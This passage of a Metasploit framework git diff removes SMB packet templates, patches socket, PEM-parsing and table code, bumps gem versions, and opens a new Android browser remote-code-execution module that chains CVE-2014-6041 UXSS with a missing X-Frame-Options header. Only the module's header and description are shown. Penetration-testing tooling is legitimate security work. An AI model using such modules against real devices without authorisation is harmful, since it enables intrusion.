'AndXOffset', 0 ], - [ 'uint16v', 'MaxBuff', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'VCNum', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint16v', 'PasswordLenLM', 0 ], - [ 'uint16v', 'PasswordLenNT', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint32v', 'Capabilities', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_NTLMV1_PKT = self.make_nbs(SMB_SETUP_NTLMV1_HDR_PKT) - - -# A SMB template for SMB Session Setup requests (When extended security is being used) -SMB_SETUP_NTLMV2_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'MaxBuff', 0 ], - [ 'uint16v', 'MaxMPX', 0 ], - [ 'uint16v', 'VCNum', 0 ], - [ 'uint32v', 'SessionKey', 0 ], - [ 'uint16v', 'SecurityBlobLen', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint32v', 'Capabilities', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_NTLMV2_PKT = self.make_nbs(SMB_SETUP_NTLMV2_HDR_PKT) - - -# A SMB template for SMB Session Setup responses (When extended security is being used) -SMB_SETUP_NTLMV2_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Action', 0 ], - [ 'uint16v', 'SecurityBlobLen', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SETUP_NTLMV2_RES_PKT = self.make_nbs(SMB_SETUP_NTLMV2_RES_HDR_PKT) - - -# A SMB template for SMB Tree Connect requests -SMB_TREE_CONN_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Flags', 0 ], - [ 'uint16v', 'PasswordLen', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TREE_CONN_PKT = self.make_nbs(SMB_TREE_CONN_HDR_PKT) - - -# A SMB template for SMB Tree Connect requests -SMB_TREE_CONN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'OptionalSupport', 0 ], - [ 'string', 'SupportWords', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TREE_CONN_RES_PKT = self.make_nbs(SMB_TREE_CONN_RES_HDR_PKT) - - -# A SMB template for SMB Tree Disconnect requests -SMB_TREE_DISCONN_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TREE_DISCONN_PKT = self.make_nbs(SMB_TREE_DISCONN_HDR_PKT) - - -# A SMB template for SMB Tree Disconnect requests -SMB_TREE_DISCONN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TREE_DISCONN_RES_PKT = self.make_nbs(SMB_TREE_DISCONN_RES_HDR_PKT) - - -# A SMB template for SMB Transaction requests -SMB_TRANS_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ParamCountTotal', 0 ], - [ 'uint16v', 'DataCountTotal', 0 ], - [ 'uint16v', 'ParamCountMax', 0 ], - [ 'uint16v', 'DataCountMax', 0 ], - [ 'uint8', 'SetupCountMax', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'Flags', 0 ], - [ 'uint32v', 'Timeout', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'ParamCount', 0 ], - [ 'uint16v', 'ParamOffset', 0 ], - [ 'uint16v', 'DataCount', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'uint8', 'Reserved3', 0 ], - [ 'string', 'SetupData', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TRANS_PKT = self.make_nbs(SMB_TRANS_HDR_PKT) - - -# A SMB template for SMB Transaction responses -SMB_TRANS_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ParamCountTotal', 0 ], - [ 'uint16v', 'DataCountTotal', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint16v', 'ParamCount', 0 ], - [ 'uint16v', 'ParamOffset', 0 ], - [ 'uint16v', 'ParamDisplace', 0 ], - [ 'uint16v', 'DataCount', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint16v', 'DataDisplace', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'uint8', 'Reserved2', 0 ], - [ 'string', 'SetupData', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TRANS_RES_PKT = self.make_nbs(SMB_TRANS_RES_HDR_PKT) - -# A SMB template for SMB Transaction2 requests -SMB_TRANS2_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ParamCountTotal', 0 ], - [ 'uint16v', 'DataCountTotal', 0 ], - [ 'uint16v', 'ParamCountMax', 0 ], - [ 'uint16v', 'DataCountMax', 0 ], - [ 'uint8', 'SetupCountMax', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'Flags', 0 ], - [ 'uint32v', 'Timeout', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'ParamCount', 0 ], - [ 'uint16v', 'ParamOffset', 0 ], - [ 'uint16v', 'DataCount', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'uint8', 'Reserved3', 0 ], - [ 'string', 'SetupData', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_TRANS2_PKT = self.make_nbs(SMB_TRANS2_HDR_PKT) - - -# A SMB template for SMB NTTransaction requests -SMB_NTTRANS_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'SetupCountMax', 0 ], - [ 'uint16v', 'Reserved1', 0 ], - [ 'uint32v', 'ParamCountTotal', 0 ], - [ 'uint32v', 'DataCountTotal', 0 ], - [ 'uint32v', 'ParamCountMax', 0 ], - [ 'uint32v', 'DataCountMax', 0 ], - [ 'uint32v', 'ParamCount', 0 ], - [ 'uint32v', 'ParamOffset', 0 ], - [ 'uint32v', 'DataCount', 0 ], - [ 'uint32v', 'DataOffset', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'uint16v', 'Subcommand', 0 ], - [ 'string', 'SetupData', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NTTRANS_PKT = self.make_nbs(SMB_NTTRANS_HDR_PKT) - - -# A SMB template for SMB NTTransaction responses -SMB_NTTRANS_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint32v', 'ParamCountTotal', 0 ], - [ 'uint32v', 'DataCountTotal', 0 ], - [ 'uint32v', 'ParamCount', 0 ], - [ 'uint32v', 'ParamOffset', 0 ], - [ 'uint32v', 'ParamDisplace', 0 ], - [ 'uint32v', 'DataCount', 0 ], - [ 'uint32v', 'DataOffset', 0 ], - [ 'uint32v', 'DataDisplace', 0 ], - [ 'uint8', 'Reserved3', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NTTRANS_RES_PKT = self.make_nbs(SMB_NTTRANS_RES_HDR_PKT) - -# A SMB template for SMB NTTransaction_Secondary requests -SMB_NTTRANS_SECONDARY_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint32v', 'ParamCountTotal', 0 ], - [ 'uint32v', 'DataCountTotal', 0 ], - [ 'uint32v', 'ParamCount', 0 ], - [ 'uint32v', 'ParamOffset', 0 ], - [ 'uint32v', 'ParamDisplace', 0 ], - [ 'uint32v', 'DataCount', 0 ], - [ 'uint32v', 'DataOffset', 0 ], - [ 'uint32v', 'DataDisplace', 0 ], - [ 'uint8', 'SetupCount', 0 ], - [ 'string', 'SetupData', nil, '' ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_NTTRANS_SECONDARY_PKT = self.make_nbs(SMB_NTTRANS_SECONDARY_HDR_PKT) - -# A SMB template for SMB Create requests -SMB_CREATE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint8', 'Reserved2', 0 ], - [ 'uint16v', 'FileNameLen', 0 ], - [ 'uint32v', 'CreateFlags', 0 ], - [ 'uint32v', 'RootFileID', 0 ], - [ 'uint32v', 'AccessMask', 0 ], - [ 'uint32v', 'AllocLow', 0 ], - [ 'uint32v', 'AllocHigh', 0 ], - [ 'uint32v', 'Attributes', 0 ], - [ 'uint32v', 'ShareAccess', 0 ], - [ 'uint32v', 'Disposition', 0 ], - [ 'uint32v', 'CreateOptions', 0 ], - [ 'uint32v', 'Impersonation', 0 ], - [ 'uint8', 'SecurityFlags', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_CREATE_PKT = self.make_nbs(SMB_CREATE_HDR_PKT) - - -# A SMB template for SMB Create responses -SMB_CREATE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint8', 'OpLock', 0 ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint32v', 'Action', 0 ], - [ 'uint32v', 'CreateTimeLow', 0 ], - [ 'uint32v', 'CreateTimeHigh', 0 ], - [ 'uint32v', 'AccessTimeLow', 0 ], - [ 'uint32v', 'AccessTimeHigh', 0 ], - [ 'uint32v', 'WriteTimeLow', 0 ], - [ 'uint32v', 'WriteTimeHigh', 0 ], - [ 'uint32v', 'ChangeTimeLow', 0 ], - [ 'uint32v', 'ChangeTimeHigh', 0 ], - [ 'uint32v', 'Attributes', 0 ], - [ 'uint32v', 'AllocLow', 0 ], - [ 'uint32v', 'AllocHigh', 0 ], - [ 'uint32v', 'EOFLow', 0 ], - [ 'uint32v', 'EOFHigh', 0 ], - [ 'uint16v', 'FileType', 0 ], - [ 'uint16v', 'IPCState', 0 ], - [ 'uint8', 'IsDirectory', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_CREATE_RES_PKT = self.make_nbs(SMB_CREATE_RES_HDR_PKT) - - -# A SMB template for SMB Write requests -SMB_WRITE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint32v', 'Offset', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint16v', 'WriteMode', 0 ], - [ 'uint16v', 'Remaining', 0 ], - [ 'uint16v', 'DataLenHigh', 0 ], - [ 'uint16v', 'DataLenLow', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint32v', 'DataOffsetHigh', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_WRITE_PKT = self.make_nbs(SMB_WRITE_HDR_PKT) - - -# A SMB template for SMB Write responses -SMB_WRITE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'CountLow', 0 ], - [ 'uint16v', 'Remaining', 0 ], - [ 'uint16v', 'CountHigh', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_WRITE_RES_PKT = self.make_nbs(SMB_WRITE_RES_HDR_PKT) - - -# A SMB template for SMB OPEN requests -SMB_OPEN_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Flags', 0 ], - [ 'uint16v', 'Access', 0 ], - [ 'uint16v', 'SearchAttributes', 0 ], - [ 'uint16v', 'FileAttributes', 0 ], - [ 'uint32v', 'CreateTime', 0 ], - [ 'uint16v', 'OpenFunction', 0 ], - [ 'uint32v', 'AllocSize', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint32v', 'Reserved3', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_OPEN_PKT = self.make_nbs(SMB_OPEN_HDR_PKT) - - -# A SMB template for SMB OPEN responses -SMB_OPEN_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint16v', 'FileAttributes', 0 ], - [ 'uint32v', 'WriteTime', 0 ], - [ 'uint32v', 'FileSize', 0 ], - [ 'uint16v', 'FileAccess', 0 ], - [ 'uint16v', 'FileType', 0 ], - [ 'uint16v', 'IPCState', 0 ], - [ 'uint16v', 'Action', 0 ], - [ 'uint32v', 'ServerFileID', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_OPEN_RES_PKT = self.make_nbs(SMB_OPEN_RES_HDR_PKT) - - -# A SMB template for SMB Close requests -SMB_CLOSE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint32v', 'LastWrite', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_CLOSE_PKT = self.make_nbs(SMB_CLOSE_HDR_PKT) - - -# A SMB template for SMB Close responses -SMB_CLOSE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_CLOSE_RES_PKT = self.make_nbs(SMB_CLOSE_RES_HDR_PKT) - - -# A SMB template for SMB Delete requests -SMB_DELETE_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'SearchAttribute', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'uint8', 'BufferFormat', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_DELETE_PKT = self.make_nbs(SMB_DELETE_HDR_PKT) - - -# A SMB template for SMB Delete responses -SMB_DELETE_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_DELETE_RES_PKT = self.make_nbs(SMB_DELETE_RES_HDR_PKT) - - - -# A SMB template for SMB Read requests -SMB_READ_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'FileID', 0 ], - [ 'uint32v', 'Offset', 0 ], - [ 'uint16v', 'MaxCountLow', 0 ], - [ 'uint16v', 'MinCount', 0 ], - [ 'uint32v', 'Reserved2', 0 ], - [ 'uint16v', 'Remaining', 0 ], - [ 'uint32v', 'MaxCountHigh', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_READ_PKT = self.make_nbs(SMB_READ_HDR_PKT) - - -# A SMB template for SMB Read responses -SMB_READ_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint8', 'AndX', 0 ], - [ 'uint8', 'Reserved1', 0 ], - [ 'uint16v', 'AndXOffset', 0 ], - [ 'uint16v', 'Remaining', 0 ], - [ 'uint16v', 'DataCompaction', 0 ], - [ 'uint16v', 'Reserved2', 0 ], - [ 'uint16v', 'DataLenLow', 0 ], - [ 'uint16v', 'DataOffset', 0 ], - [ 'uint32v', 'DataLenHigh', 0 ], - [ 'uint32v', 'Reserved3', 0 ], - [ 'uint16v', 'Reserved4', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_READ_RES_PKT = self.make_nbs(SMB_READ_RES_HDR_PKT) - - - -# A SMB template for SMB Search requests -SMB_SEARCH_HDR_PKT = Rex::Struct2::CStructTemplate.new( - [ 'template', 'SMB', SMB_HDR ], - [ 'uint16v', 'MaxCount', 0 ], - [ 'uint16v', 'Attributes', 0 ], - [ 'uint16v', 'ByteCount', 0 ], - [ 'string', 'Payload', nil, '' ] -).create_restraints( - [ 'Payload', 'ByteCount', nil, true ] -) -SMB_SEARCH_PKT = self.make_nbs(SMB_SEARCH_HDR_PKT) - end end diff --git a/lib/rex/proto/smb/exceptions.rb b/lib/rex/proto/smb/exceptions.rb index bc8f769836..43e7964aa5 100644 --- a/lib/rex/proto/smb/exceptions.rb +++ b/lib/rex/proto/smb/exceptions.rb @@ -8,13 +8,13 @@ module Exceptions class Error < ::RuntimeError @@errors = { - 0x00000000 => "STATUS_SUCCESS", + # 0x00000000 => "STATUS_SUCCESS", 0x00000000 => "STATUS_WAIT_0", 0x00000001 => "STATUS_WAIT_1", 0x00000002 => "STATUS_WAIT_2", 0x00000003 => "STATUS_WAIT_3", 0x0000003F => "STATUS_WAIT_63", - 0x00000080 => "STATUS_ABANDONED", + # 0x00000080 => "STATUS_ABANDONED", 0x00000080 => "STATUS_ABANDONED_WAIT_0", 0x000000BF => "STATUS_ABANDONED_WAIT_63", 0x000000C0 => "STATUS_USER_APC", diff --git a/lib/rex/socket.rb b/lib/rex/socket.rb index 1bdf2d0cca..089e02a972 100644 --- a/lib/rex/socket.rb +++ b/lib/rex/socket.rb @@ -732,7 +732,15 @@ module Socket # Return peer connection information. # def getpeername - return Socket.from_sockaddr(super) + peer_name = nil + begin + peer_name = Socket.from_sockaddr(super) + rescue ::Errno::EINVAL => e + # Ruby's getpeername method may call rb_sys_fail("getpeername(2)") + elog("#{e.message} (#{e.class})#{e.backtrace * "\n"}\n", 'core', LEV_3) + end + + return peer_name end # diff --git a/lib/rex/socket/comm/local.rb b/lib/rex/socket/comm/local.rb index 82c843a6c3..690db23dd0 100644 --- a/lib/rex/socket/comm/local.rb +++ b/lib/rex/socket/comm/local.rb @@ -281,7 +281,7 @@ class Rex::Socket::Comm::Local raise ::Errno::ETIMEDOUT end - rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL + rescue ::Errno::EHOSTUNREACH,::Errno::ENETDOWN,::Errno::ENETUNREACH,::Errno::ENETRESET,::Errno::EHOSTDOWN,::Errno::EACCES,::Errno::EINVAL,::Errno::ENOPROTOOPT # Rescue errors caused by a bad Scope ID for a link-local address if retry_scopes and @@ip6_lla_scopes[ ip6_scope_idx ] diff --git a/lib/rex/socket/ssl_tcp_server.rb b/lib/rex/socket/ssl_tcp_server.rb index 27ee44696f..742685d596 100644 --- a/lib/rex/socket/ssl_tcp_server.rb +++ b/lib/rex/socket/ssl_tcp_server.rb @@ -2,6 +2,7 @@ require 'rex/socket' require 'rex/socket/tcp_server' require 'rex/io/stream_server' +require 'rex/parser/x509_certificate' ### # @@ -108,25 +109,7 @@ module Rex::Socket::SslTcpServer # @param [String] ssl_cert # @return [String, String, Array] def self.ssl_parse_pem(ssl_cert) - cert = nil - key = nil - chain = nil - - certs = [] - ssl_cert.scan(/-----BEGIN\s*[^\-]+-----+\r?\n[^\-]*-----END\s*[^\-]+-----\r?\n?/nm).each do |pem| - if pem =~ /PRIVATE KEY/ - key = OpenSSL::PKey::RSA.new(pem) - elsif pem =~ /CERTIFICATE/ - certs << OpenSSL::X509::Certificate.new(pem) - end - end - - cert = certs.shift - if certs.length > 0 - chain = certs - end - - [key, cert, chain] + Rex::Parser::X509Certificate.parse_pem(ssl_cert) end # diff --git a/lib/rex/socket/tcp_server.rb b/lib/rex/socket/tcp_server.rb index 5b033cc3d2..ba0b11e5ab 100644 --- a/lib/rex/socket/tcp_server.rb +++ b/lib/rex/socket/tcp_server.rb @@ -56,6 +56,9 @@ module Rex::Socket::TcpServer pn = t.getpeername + # We hit a "getpeername(2)" from Ruby + return nil unless pn + t.peerhost = pn[1] t.peerport = pn[2] end diff --git a/lib/rex/text.rb b/lib/rex/text.rb index d33bdf18b0..c414d36b37 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -1810,4 +1810,3 @@ protected end end - diff --git a/lib/rex/ui/text/table.rb b/lib/rex/ui/text/table.rb index 0cbb315494..7f455cc02e 100644 --- a/lib/rex/ui/text/table.rb +++ b/lib/rex/ui/text/table.rb @@ -74,6 +74,7 @@ class Table self.colprops = [] self.sort_index = opts['SortIndex'] || 0 + self.sort_order = opts['SortOrder'] || :forward # Default column properties self.columns.length.times { |idx| @@ -187,21 +188,22 @@ class Table # If the supplied index is an IPv4 address, handle it differently, but # avoid actually resolving domain names. # - def sort_rows(index=sort_index) + def sort_rows(index = sort_index, order = sort_order) return if index == -1 return unless rows rows.sort! do |a,b| if a[index].nil? - -1 + cmp = -1 elsif b[index].nil? - 1 + cmp = 1 elsif Rex::Socket.dotted_ip?(a[index]) and Rex::Socket.dotted_ip?(b[index]) - Rex::Socket::addr_atoi(a[index]) <=> Rex::Socket::addr_atoi(b[index]) + cmp = Rex::Socket::addr_atoi(a[index]) <=> Rex::Socket::addr_atoi(b[index]) elsif a[index] =~ /^[0-9]+$/ and b[index] =~ /^[0-9]+$/ - a[index].to_i <=> b[index].to_i + cmp = a[index].to_i <=> b[index].to_i else - a[index] <=> b[index] # assumes otherwise comparable. + cmp = a[index] <=> b[index] # assumes otherwise comparable. end + order == :forward ? cmp : -cmp end end @@ -243,7 +245,7 @@ class Table attr_accessor :columns, :rows, :colprops # :nodoc: attr_accessor :width, :indent, :cellpad # :nodoc: attr_accessor :prefix, :postfix # :nodoc: - attr_accessor :sort_index # :nodoc: + attr_accessor :sort_index, :sort_order # :nodoc: protected diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec index d3d1a3438e..3744ded518 100644 --- a/metasploit-framework-db.gemspec +++ b/metasploit-framework-db.gemspec @@ -29,9 +29,9 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION # Metasploit::Credential database models - spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.8' + spec.add_runtime_dependency 'metasploit-credential', '~> 0.14.3' # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '~> 0.21.3' + spec.add_runtime_dependency 'metasploit_data_models', '~> 0.23.2' # depend on metasploit-framewrok as the optional gems are useless with the actual code spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" # Needed for module caching in Mdm::ModuleDetails diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 67e51e9b68..c60c169c14 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -62,9 +62,9 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'metasploit-concern', '~> 0.3.0' # Things that would normally be part of the database model, but which # are needed when there's no database - spec.add_runtime_dependency 'metasploit-model', '~> 0.28.0' + spec.add_runtime_dependency 'metasploit-model', '~> 0.29.0' # Needed for Meterpreter on Windows, soon others. - spec.add_runtime_dependency 'meterpreter_bins', '0.0.12' + spec.add_runtime_dependency 'meterpreter_bins', '0.0.17' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler @@ -80,7 +80,8 @@ Gem::Specification.new do |spec| # NoMethodError undefined method `dlopen' for Fiddle:Module unless Gem.win_platform? # Command line editing, history, and tab completion in msfconsole - spec.add_runtime_dependency 'rb-readline' + # Use the Rapid7 fork until the official gem catches up + spec.add_runtime_dependency 'rb-readline-r7' end # Needed by anemone crawler diff --git a/modules/auxiliary/admin/2wire/xslt_password_reset.rb b/modules/auxiliary/admin/2wire/xslt_password_reset.rb index a70efae31a..ee2572bebb 100644 --- a/modules/auxiliary/admin/2wire/xslt_password_reset.rb +++ b/modules/auxiliary/admin/2wire/xslt_password_reset.rb @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary return end - #check to see if we get HTTP OK + # check to see if we get HTTP OK if (res.code == 200) print_status("Okay, Got an HTTP 200 (okay) code. Verifying Server header") else @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary return end - #Check to verify server reported is a 2wire router + # Check to verify server reported is a 2wire router if (res.headers['Server'].match(/2wire Gateway/i)) print_status("Server is a 2wire Gateway! Grabbing info\n") else @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Auxiliary print_status("Hardware Version: #{hardware}") end - #Check the Software Version + # Check the Software Version if res.body.match(/<td class="data">(5\.\d{1,3}\.\d{1,3}\.\d{1,3})<\/td>/i) ver = $1 print_status("Software version: #{ver}") diff --git a/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb new file mode 100644 index 0000000000..d3aed5b3dc --- /dev/null +++ b/modules/auxiliary/admin/android/google_play_store_uxss_xframe_rce.rb @@ -0,0 +1,184 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Android Browser RCE Through Google Play Store XFO', + 'Description' => %q{ + This module combines two vulnerabilities to achieve remote code + execution on affected Android devices. First, the module exploits + CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in + versions of Android's open source stock browser (the AOSP Browser) prior to + 4.4. Second, the Google Play store's web interface fails to enforce a + X-Frame-Options: DENY header (XFO) on some error pages, and therefore, 